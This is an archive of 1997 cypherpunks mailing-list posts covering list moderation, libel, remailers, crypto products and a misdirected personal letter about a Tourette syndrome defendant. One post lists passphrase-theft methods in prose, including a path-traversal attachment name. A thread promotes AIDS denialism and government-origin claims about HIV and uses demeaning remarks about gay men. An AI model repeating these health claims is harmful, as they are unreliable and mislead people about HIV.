  What I would say to a judge and a prosecutor who are charged with the
duty of protecting both society and the individual, is this:
 1. Please have the compassion and the wisdom to take a close look at
Scott as a human being, and seriously consider what special
circumstances may be raised by the fact that he is afflicted with a
medical condition that affects his life in ways that he has little
control over.
 2. Try to make a distinction between actions, behaviors and attitudes
that are a result of a 'bad attitude' or a 'criminal intent', and the
actions, behaviors and attitudes of an individual who is trying
desperately to survive in a world in which he is ill-equipped to
function as a result of his disabilities.
 3. Please make an attempt to review his past history of involvement
with the legal system with an eye toward recognizing that perhaps the
judgements made about him, and the resulting legal decisions regarding
the disposition of his cases, did not fully take into account his
physical and mental disabilities and thus did not reflect the best
course of resolution of his case for the greatest benefit of both
society and the individual himself. (The Tourette-support forums
regularly contain postings by loving and concerned parents who are
horrified by the mistaken judgements--and resulting punishments-they
made concerning their children before they came to realize that their
child had physical and mental disabilities which required them to view
his or her actions in a new light, and find unique solutions for the
problems that these disabilities presented.)
 4.  Keep in mind the fact that resistance to authority and the tendency
to 'flee' from the face of society are common traits among many who
suffer from Tourette Syndrome and its accompanying afflictions. (I
posted a message to pov-twitch in which I spoke of feeling like a
"hunted animal" for much of my life, and I received a huge outpouring of
responses from TS-adults which reflected the pain and fear that they
still carried inside of themselves as a result of a lifetime of
persecution for the 'small sin' of being different from those around
them.)
 5. Please realize that you are judging an individual, whose future lies
in your hands, who has a genuine need for special understanding in order
to bring his case to a resolution which will benefit society and the
individual himself.

  It is easy to recognize the special circumstances and needs necessary
to dispense true justice in the case of the 'obviously' and the
'acceptably' disabled. When one is confronted with a retarded
individual, or a person in a wheel-chair, the special circumstances
regarding the disposition of their case are obvious. When judging a
person who is rambling on disjointedly about the voices in his or her
head, and truly hears them, then the need to take this into
consideration is equally obvious.
  It is much more difficult to put Tourette Syndrome-type behaviors and
attitudes into proper perspective, and to judge the part they play in an
individuals actions and behaviors. TS traits encompass ADHD and OCD
(Obsessive-Compulsive Disorder), and a variety of 'borderline'
dysfunctionalities which result in actions and behaviors which are easy
to classify as 'willful', 'disrespectful', etc. (Children who won't sit
still in their chairs; who utter obscenities; who perform impulsive
actions based on irrational, illogical thought processes.)
  I recognize that there are certain instances in which society's
interest is best served by locking up an individual so that they do not
do irrepairable harm to others, but if this concept is extended to the
point where it becomes the preferred method of dealing with
psychological disabilities, out of convenience, then I feel that justice
is no longer being served.

  Society, in return for abridging the rights of an individual to act in
any manner that he or she pleases, also takes on the responsibility to
ensure that the individual will not unduly suffer as a result of the
dictates of society.
  If society chooses to judge Scott for stepping outside the boundaries
of its rule of law, then society must ensure that Scott is afforded the
opportunity to gain the medical assistance that he needs in order to
deal with his disabilities within the bounds of society's laws.
  Imprisonment is hardly likely to be a solution that will result in
changes to Scott's medical disabilities. If the legal system is not able
to propose an alternative to imprisonment, then what hope is there,
really, for anyone who is engaged in a daily battle to overcome the
trials, tribulations and stigmatism associated with the affliction of
Tourette Syndrome.

  I wish you and Scott all the best in dealing with his present
situation, and I hope that you are blessed with a judge who understands
that society is composed of individuals and that, in judging the
individual, he or she is judging society itself.

Love,
 Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 06:41:04 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Fantasy quotes & libel
Message-ID: <199701271441.GAA24082@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim,
 I enjoyed the 250,000 legalese-spams that you posted to the cypherpunks
list. You are certainly handy with a search-engine.
 You have certainly shown that the shotgun-approach to legal issues is
a valid one, as one of your posts actually came close to being relevant.

Jim Choate wrote:
> With the current 'editorial control' as provided by the cypherpunks mailing
> list the mailing list operator/censor may also be held in some situations
> accountable as well. This occurs because the relationship between list
> operator and the quoter is similar to that of editor and reporter in a
> newspaper. For the quoter to get his quote distributed the list operator
> must ok it. The reasoning used is that the editor 'should have known' the
> boundaries and applied them.

  Well, I'm certainly glad to hear that you feel you have the legal 
standing to sue the pants off of Sandy and John. When you're done with
them, you might want to check out Canadian law and think about suing
myself, as well.
  Of course, I realize that, given your strong position in regard to
the need not to interfere in the rights of others to exert dicatatorial
control over the content which passes through systems that they have
paid for with their own money, you would not be so hypocritical as to
attempt to interfere with those rights.
  An intelligent fellow such as yourself certainly wouldn't be so
ignorant as to stand up in court and declare that the right to exert
dicatatorial power by virtue of money and position should be negated
only when it affects you personally.

  I am sincerely in your debt for pointing out to me that the purchase
of my hardware and software, and the money I spend in maintaining it,
give me license to exert total control over anything that passes 
through it.
  It was only the knowledge that you are a man who stands behind his
statements that enabled me to recognize your post expressing whining
outrage that the principles you espouse should apply equally to all
were meant as humor, despite your failure to add the little happy-face
grin :).

Toto
 
> Not only is ignorance not an excuse but neither is negligence.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 06:40:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypher-Apology
Message-ID: <199701271440.GAA24073@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I seem to have posted one of my private emails to the conference by 
mistake. It was in regard to a lady whose son is going to court in the
morning and has nothing to do with crypto. (unless I try to make a
supremely long leap in relating Tourette Syndrome to the Timmy May
'cocksucker' postings)
  My first instinct was to blame Bill Gates for holding me hostage and
forcing me to use Win95. My second instinct was to try to excuse my
error by blaming the ingestion of large amounts of drugs and alcohol
for my misdirection of my email.
  However, after consultation with the space aliens who speak to me
through the mercury filling in my teeth, I have come to the realization
that the error was the result of the fact that I am a fucking idiot.

  I imagine that my apology will not be received by those on the 
censored list, as I have just 'flamed' myself. I would apologize for
this, as well, but I am still sober enough to realize that this could
quite possibly result in an endless-apology-loop which would interfere
with the rights of those on the cypherpunks-uncensored list to receive
the "Make $$Money$$ Fast" postings that Sandy has been so kind to
forward to those who oppose censorship of list subscribers.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 27 Jan 1997 08:41:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: THE NEW YORKER on the V-Chip
Message-ID: <199701271641.IAA27376@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:48 AM 1/24/97 -0800, Greg Broiles wrote:

...
>While I think it's always useful to consider unintended (or otherwise
>unexpected) consequences, Gladwell's argument sent a shiver down my spine
>with its shameless paternalism. This bit (from roughly the middle of his
>piece) is what I found creepiest:
>
>"According to one recent study, somewhere between twenty and twenty-seven
>per cent of the parents of four-to six-year-olds never restrict their
>children's viewing hours, never decide what programs they can watch, never
>change the channel when something objectionable comes on, and never forbid
>the watching of certain programs. It has apparently never occurred to these
>parents that television can be a bad influence, and it strains credulity to
>think that the advent of the V-chip is going to wake them up. Yet their
>families - mainly lower-income, ill-educated - are the very ones most in
>need of protection from television violence. Here is a rearranging effect
>with a vengeance: not only does the V-chip make television worse, it makes
>television worse precisely for those already most vulnerable to its excesses."
>
>I understood Gladwell's point to be, in essence, that the V-chip will allow
>TV producers to generate higher levels of morally impure content which he
>fears will pollute the minds of poor children because their parents are too
>stupid to protect them from the harmful content and too poor to buy new
>televisions which will include V-chips.
...
What this means is, subsidized v-chip upgrades, and v-chips turned on by
default.
Now to watch the really good stuff you have to subscribe to "tv-un v-chipped"
Sorry, I couldn't resist the pot shot.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 27 Jan 1997 08:41:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199701271641.IAA27392@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{'alpha'} = '<alias@alpha.c2.org> alpha pgp';
$remailer{'nymrod'} = '<nymrod@nym.jpunix.com> alpha pgp';
$remailer{"lead"} = "<mix@zifi.genetics.utah.edu> cpunk mix pgp hash latent cut ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"death"} = "<x@deathsdoor.com> cpunk pgp hash latent post";
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 27 Jan 97 6:48:19 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ****#**#**##     1:33  99.99%
balls    remailer@huge.cajones.com        *****++###*#     2:40  99.98%
dustbin  dustman@athensnet.com            --+---+---+   2:14:49  99.92%
winsock  winsock@rigel.cyberpass.net      ------------  4:55:21  99.87%
exon     remailer@remailer.nl.com         ###*### ####      :37  99.76%
haystack haystack@holy.cow.net            ###+*##***#*    29:02  99.72%
weasel   config@weasel.owl.de             ++++++-++++   1:17:40  99.33%
squirrel mix@squirrel.owl.de               +++-++++++   1:16:21  99.16%
extropia remail@miron.vip.best.com        -----------   3:58:51  99.13%
lead     mix@zifi.genetics.utah.edu       +*+*+ +++--+  2:05:09  98.97%
middle   middleman@jpunix.com             --  .-*++.    8:38:28  98.42%
mix      mixmaster@remail.obscura.com        __.-+-.-  25:34:03  97.98%
cyber    alias@alias.cyberpass.net        +*+**+++*+ *  1:28:18  96.80%
reno     middleman@cyberpass.net           -+--- +--+   1:16:40  95.45%
lucifer  lucifer@dhp.com                  ++++++++   +  1:24:25  95.15%
replay   remailer@replay.com              ***   * *       16:22  69.31%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gemini Thunder <gt@kdn0.attnet.or.jp>
Date: Mon, 27 Jan 1997 06:26:16 -0800 (PST)
To: Frank Willoughby <frankw@in.net>
Subject: Re: WinKrypt
Message-ID: <199701271426.GAA23772@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Thus sprach Frank Willoughby <frankw@in.net>:

>Out of curiosity, is anyone familiar with WinKrypt by Syncronsys?

Syncronsys [sp?] Software is the maker of SoftRam95, a program that
 supposedly doubled your memory through memory compression and other
 quasi-magical means. It was later revealed that not only did it not
 work as advertised, but it actually did not do anything at all
 (except display graphs indicating non-existant improvements).  IIRC,
 they lost a class action suit over this issue.

I would trust an encryption program relased to the public by the NSA
 more than anything these charlatans released.

[snip]
>I was curious how it compares to McAfee's PC Crypto which uses 
>40-bit DES or 160-bit Blowfish (user-chooses) & other PC/laptop
>encryption products.  BTW, I would also appreciate your input 
>on any crypto products which you believe to be robust, easy-to-use 
>& secure.  (I know I can only have 2 out of 3, but it's worth a try 
>anyway).  8^)  

I consider PGP to be robust, easy-to-use (with some front-end
 assistance), and secure.  However, I am by no means an authority on
 crypto.

__________
- 2[b]||!2[b] /* What's the question?  It's a tautology! */
- 0x2B|!0x2B  /* == FFFFFFFF */






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Mon, 27 Jan 1997 06:41:19 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
Message-ID: <199701271441.GAA24106@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


drgrubor is now at the pgh.org instead of aol.com

On Mon, 27 Jan 1997, Igor Chudov @ home wrote:

> [Cc: to Dr. John Martin Grubor, Law Systems Institute, Medical-Cannabis Assn]
> 
> Jim Choate wrote:
> > 
> > 
> >    Landskroner, LTD. [INLINE]
> >    
> > Libel / Slander
>  
> I am not sure if you posted this information in response to my request
> to cite a statute that would prove that libel is a crime.
> 
> Me> Jim Choate wrote:
> Me> > 
> Me> > 
> Me> > 
> Me> > Are you aware that attributing statements in print to a party when that
> Me> > party did not write them is a crime?
> Me> 
> Me> cite the statute
> 
> 
> These postings do not prove that libel is a crime. It is because libel
> is not a crime. Libel is a tort, and unlike with crime, the government
> cannot initiate a legal action against someone for libel. Only injured
> (libeled) individuals and not the government can sue in a libel case.
> 

That is correct.  Libel is a tort and not a crime.

> I would appreciate if someone more knowledgeable about the law could
> comment on this. I may be mistaken.
> 
> igor 

No, you are correct Igor.  Libel is written defamation, and defamation
is NEVER a crime in the USA.  It may be in other countries, but not
the good old USA.

> 
> >    Libel / Slander is an area that involves defamatory oral or written
> >    statements containing false and misleading material which causes
> >    damage or injury to reputation and/or monetary loss.
> >    

And it is tough to prove.  Just where was this article posted at?

> >    We provide a quick review of their success stories , some media and
> >    newspaper articles about what they've been able to do for their
> >    clients, and published articles about this topic.
> >    
> >    Please e-mail us with questions about our service! Landskroner and
> >    Phillips 
> >    [INLINE]
> >    
> >    Nationally Recognized Consumer Trial Advocates.
> >    Over 100 Years combined experience in both State and Federal Courts.
> >    

These guys do not know what they are talking about.

> >    55 Public Square, Tenth Floor, Cleveland Ohio 44113-1904
> >    Phone: (216) 241-7000
> >    Fax: (216) 241-3135
> >    Toll Free: (888) 241-7001
> >    [INLINE]
> > 
> 
> 
> 
> 	- Igor.
> 

The assholes are not Criminal Lawyers, and I will give them a call
to check them out...

I left a mesage with them. and told the InterNet lawyer to call
be back.  This is just a Civil Law firm looking for business.

-aga







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 27 Jan 1997 08:43:13 -0800 (PST)
To: Daniel Harter <dharter@harter.pg.md.us>
Subject: Re: overview.htm (fwd)
Message-ID: <199701271643.IAA27437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Daniel Harter wrote:
> ichudov@algebra.com wrote:
> > Dale Thorn wrote:
> > > Dr.Dimitri Vulis KOTM wrote:

> > Why do they take antibiotics? Just curious.

> To treat various Venerial Diseases whose standard treatments are
> antibiotics.

> > Also, I haven't heard that antibiotics were bad for immune system,
> > has that been proven?

> What does seem to have credence is that the use of antibiotics breeds
> resistant strains of bacteria, which may or may not be contagious.

> A book that poses an opposing viewpoint to the current AIDS epidemic
> is _The AIDS War_ by John Lauritsen (1993, Asklepios, New York, ISBN
> 0-943742-08-0).  It is written from a Gay man's perspective dissenting
> from the current HIV-AIDS theory.  Another book he wrote is _Poison by
> Prescription: The AZT Story_.  Also search on Peter H. Duesberg for
> primary sources in various Journals.

According to my AIDS database, a possible reason for the "hotly
debated" theories of Duesberg is that because of the suspicion
falling on the govt. and the WHO in regard to creating the HIV
virus, the govt. was happy to have Duesberg and ilk deflecting
a lot of that criticism.  This doesn't make Duesberg wrong by
implication, but there were suggestions of disinformation....






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Harter <dharter@harter.pg.md.us>
Date: Mon, 27 Jan 1997 06:41:17 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701271441.GAA24105@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com wrote:
> Dale Thorn wrote:
> > Dr.Dimitri Vulis KOTM wrote:
> > 
> > > > > Both homosexual males and IV drug users are well known to take a lot
> > > > > of antobiotics, which lowers the efficacy of the immune system enough
> > > > > to allow most anything to happen, ultimately leading to auto-immune
> > > > > problems.
> > 
> > > Jim and Dale, I agree.
> > > Also shooting one's bloodstream full of fecal matter hardly helps.
> > 
> > My point about the antibiotics is that the male gays take a dis-
> > proportionate amount of them, which compounds their problems.  It
> > suggests to me that the immune system is already seriously debilitated
> > or damaged before AIDS can take hold, rather than the notion that a
> > healthy person can get it from the virii alone.
> > 
> > One could argue that in the cases where the cures (antibiotics) add to
> > a person's problems by further corrupting their immune system, that
> > they should simply change their habits.  Since I don't see that as a
> > reasonable possibility, the only thing left is that the public should
> > be made aware of *all* of the relevant facts, even those which are
> > heavily suppressed now for PC reasons.
> 
> Why do they take antibiotics? Just curious.

To treat various Venerial Diseases whose standard treatments are
antibiotics. 

> Also, I haven't heard that antibiotics were bad for immune system, 
> has that been proven?

What does seem to have credence is that the use of antibiotics breeds
resistant strains of bacteria, which may or may not be contagious.

A book that poses an opposing viewpoint to the current AIDS epidemic
is _The AIDS War_ by John Lauritsen (1993, Asklepios, New York, ISBN
0-943742-08-0).  It is written from a Gay man's perspective dissenting
from the current HIV-AIDS theory.  Another book he wrote is _Poison by
Prescription: The AZT Story_.  Also search on Peter H. Duesberg for
primary sources in various Journals.

Dan Harter
dharter@harter.pg.md.us






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peterson, Mike <petersom@hsd.k12.or.us>
Date: Mon, 27 Jan 1997 09:46:05 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: Posting percentages
Message-ID: <199701271746.JAA28997@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Dimitri Vulus KOTM wrote:

Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

>> Regardless of which side you take on this matter, remember that the issue
>> was forced by the actions of an extremely small segment of the list
>> "population."
>The list "population" (readers) is a couple of thousand people, almost
>all of whom are lurkers. All posters are an extremely small segment of
>the readership. It's true on most Internet forums.

Just because us "lurkers" don't post, doesn't mean that we aren't taking
sides, agreeing, disagreeing, or otherwise. Small portions of the
population doesn't mean that the rest of us have no comment, just not
the will to make the post.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ross Wright <rwright@adnetsol.com>
Date: Mon, 27 Jan 1997 09:46:45 -0800 (PST)
To: dlv@bwalk.dm.com>
Subject: Re: Censorship
Message-ID: <199701271746.JAA29042@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 26 Jan 97 at 22:28, Dr.Dimitri Vulis KOTM wrote:

> "Ross Wright" <rwright@adnetsol.com> writes:
> 
> > On or About 26 Jan 97 at 2:19, blanc wrote:
> >> > > >Igor Chudov @ home wrote:
> > > >>>Jim Choate wrote:
> > > >>>>>Dr.Dimitri Vulis KOTM wrote:
> > > >>>>>>>irrelevant@nowhere.com wrote:
> > > >>>>>>>>>>Dale Thorn wrote:
> > >
> > > It can be said 100,000 times, but it still comes out the same:
> > > Just as in "The only cure for bad speech is more speech", "the
> > > only cure for 'list-focus-drift' is more on-focus postings".
> >
> > THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
> > OBJECT TO.
> 
> Comversely, some people are willing to give up their own freedom of
> speech so as to silence others whose views they don't like. 

Who could be that stupid?  Why would they even want to give up an 
inch of their freedoms?

>They
> hope that they'll be censored less than their "enemies". 

A weak hope at best.  Once you start censoring it becomes a "Slippery 
Slope".

> But a forum
> can't be "a little bit censored" just like a woman can't be "a
> little bit pregnant".

You got that right!

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brian D Williams <talon57@well.com>
Date: Mon, 27 Jan 1997 09:46:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: overview.htm (fwd)
Message-ID: <199701271746.JAA29022@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Toto <toto@sk.sympatico.ca> writes:

>  There has been great concern raised among those in the medical 
>profession regarding the end-effects of their wholesale
>prescribing of anitbiotics for colds, aches and pains, etc.,
>leading to the development of new strains of virus which are
>immune to the older antibiotics. This leads to development of
>stronger (misused) antibiotics, which then leads to stronger
>strains of virus.
>  There have been a number of studies which point to the fact that
>the human immune system is now caught in a battle between
>increasingly potent virus and antibiotics and is losing its
>capacity to fightits 'natural' enemies.

 Antibiotics are for fighting bacterial infections.

 Antibiotics have no effect on viruses at all.

 However you are accurate in that the abuse of antibiotics for
things like colds (a virus, no effect) has led us to a very
dangerous situation. (antibiotic resistant bacteria)

I suggest the book "The Coming Plague"  who's authors name escapes
me at the moment, if you, or anyone else is interested.

Brian
Cypherpunk
Extropian

" You can lead a horse to water, but you can't faucet."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 28 Jan 1997 13:15:48 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Passphrase Online...
Message-ID: <199701282115.NAA02542@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>>If I am connected to the Internet via a SLIP/PPP connection and I
>>type my passphrase while being online (for example, in Private
>>Idaho, after getting my mail), could that passphrase be compromised?
>>If so, how would that be done?

You're much safer if you're using an operating system instead of a
kluge like Windows...  On the other hand, operating systems make it
easier to run applications like telnet servers that allow someone
else to connect to your system while you're on line.
Some different ways you could be at risk include
- someone sends you a keystroke-sniffer program and tricks your machine
into running it - so it grabs your passphrase from PI or PGP and
sends it in later
- someone sends you a keystroke-sniffer program and tricks _you_
into running it, whether they use email, web, etc.
- someone logs into your system, guesses that the root password is
"trustno1", and modifies your copy of PGP to save keystrokes.
(On MSDOS, of course, you don't _need_ a root password.)
- someone sets up a web page with an evil ActiveX script that
convinces your Internet Explorer to download a new copy of PGP.
- someone sends you email with an attachment named 
..\..\..\windows\pgp.exe and your mail system is dumb enough to accept 
the pathname.
- somebody sends you email with an MS-Word/Excel/PPT attachment that,
instead of having a dumb Concept macro virus, has a macro that
does something useful like replace your copy of PGP, and you don't
have any innoculation on your MS-Word.
- any of the above, where the "pgp" program is replaced with one that's
almost identical but uses non-random numbers instead of good randoms,
and maybe also leaks out your secret key or passphrase.
- any of the above, where your email program is modified to add
Cc: janet@kremvax.su on outgoing smtp.

> Still paranoid?  Good!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.crl.com>
Date: Mon, 27 Jan 1997 11:28:59 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <199701271928.LAA02313@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 26 Jan 1997 paul@fatmans.demon.co.uk wrote:

> You need have no sympathy. Those members of this list see it as it 
> is, a list that was supposed to be, in some small way, a "model" of 
> an anarchistic discussion forum for the subject of cryptography,...

Nonsense.  It was supposed to be a discussion of crypto and 
other technologies in support of privacy.  The founders, Hughes,
Gilmore, May and Daniel were focusing on that goal.  The list
structure was anarchistic (and still is to those who understand
the concept of anarco-capitalism).  Obviously Gilmore is not
wedded to the idea of letting every fool use his bandwidth.  In
personal discussions as recently as yesterday, Hughes had no
problem in supporting some mechanism to promote civility on the
list.  I don't think anything May has written would suggest he
would have a problem with keeping things polite.  His only 
argument seems to be over methodology.  He thinks filtering is
the answer; I don't.  Reasonable minds may differ.  Hugh Daniel
has been instrumental in providing technical help with regard to
moderation.  Finally, the fact that the vast majority of list
members have not seen fit to "vote with their feet" should 
suggest how most really feel about moderation.  (By the way, if
you don't like moderation, you would hate Eric Hughes' favored 
solution.)

> ...That was the intended direction of the list, it 
> has rapidly disentigrated over recent months into a censored list 
> where the elite post to the main list and anyone else is nearly 
> always relegated to a seperate list for the crypto-untermenshcen.

Again, nonsense.  The moderation experiment (moderation, not
censorship) has been in effect for all of ONE WEEK.  Where does 
Paul get this hysterical "recent months" stuff?  

> If you want to talk about intellectual dishonesty try the following:
> 
> Imagine if you will a list, the original purpose of which was
> to act as a free and open forum for discussion of cryptography and 
> related issues...

Paul's argument is the essence of literal conservativism,  "but 
I don't things to change!"  Without change, though, there can be 
no progress.  Moderation is a one-month experiment.  There is no
intellectual dishonesty in saying, "let's try something else for
a while."

> Now imagine that list falling into a state of content based 
> censorship and censorship based on an unspoken but ever present 
> class structure,...

"Unspoken but ever present class structure"?  I wonder how Paul
was able to divine this?  Certainly it is unspoken, but that, of 
course, it because it does not exist anywhere but in Paul's
fertile imagination.

> It is a foregone conclusion that the upper class of list members will 
> have no dispute over the censorship and therefore the change will be 
> permenant,...

Great!  I thought that hadn't been determined yet.  What a 
relief.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 27 Jan 1997 08:41:25 -0800 (PST)
To: cypherpunks mailing list <cypherpunks@toad.com>
Subject: OTP security
Message-ID: <199701271641.IAA27364@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I was thinking about the thread we had a week or so ago about OTPs.  Say
I'm going to burn a CD of what I think are cryptographically random bits,
but somehow I end up with part of my stream being predictable (say every
16th bit).  What does this do to the security of my CD?
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Sam Jones <samjones@leo.unm.edu> on the Nine Types of User:
Shaman - "Last week, when the moon was full, the clouds were thick, and
formahaut was above the horizon, I typed f77, and lo, it did compile."
Advantages: Gives insight into primative mythology.
Disadvantages:  Few scons are anthropology majors.
Symptoms: Frequent questions about irrelavent objects.
Real Case: One user complained that all information on one of their disks
got erased (as Norton Utilities showed nothing but empty sectors, I
suspect nothing had ever been on it). Reasoning that the deleted
information went *somewhere*, they 	wouldn't shut up until the scon
checked four different disks for the missing information.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Mon, 27 Jan 1997 09:46:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderated list is missing headers
Message-ID: <199701271746.JAA29041@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The arguments about imaginary quotes and libel are harder to untangle
because the moderation process seems to consume the mail headers showing
the messages' travels before reaching toad.com.  I suggest that these
headers are signal not noise, and should be propagated if at all possible.
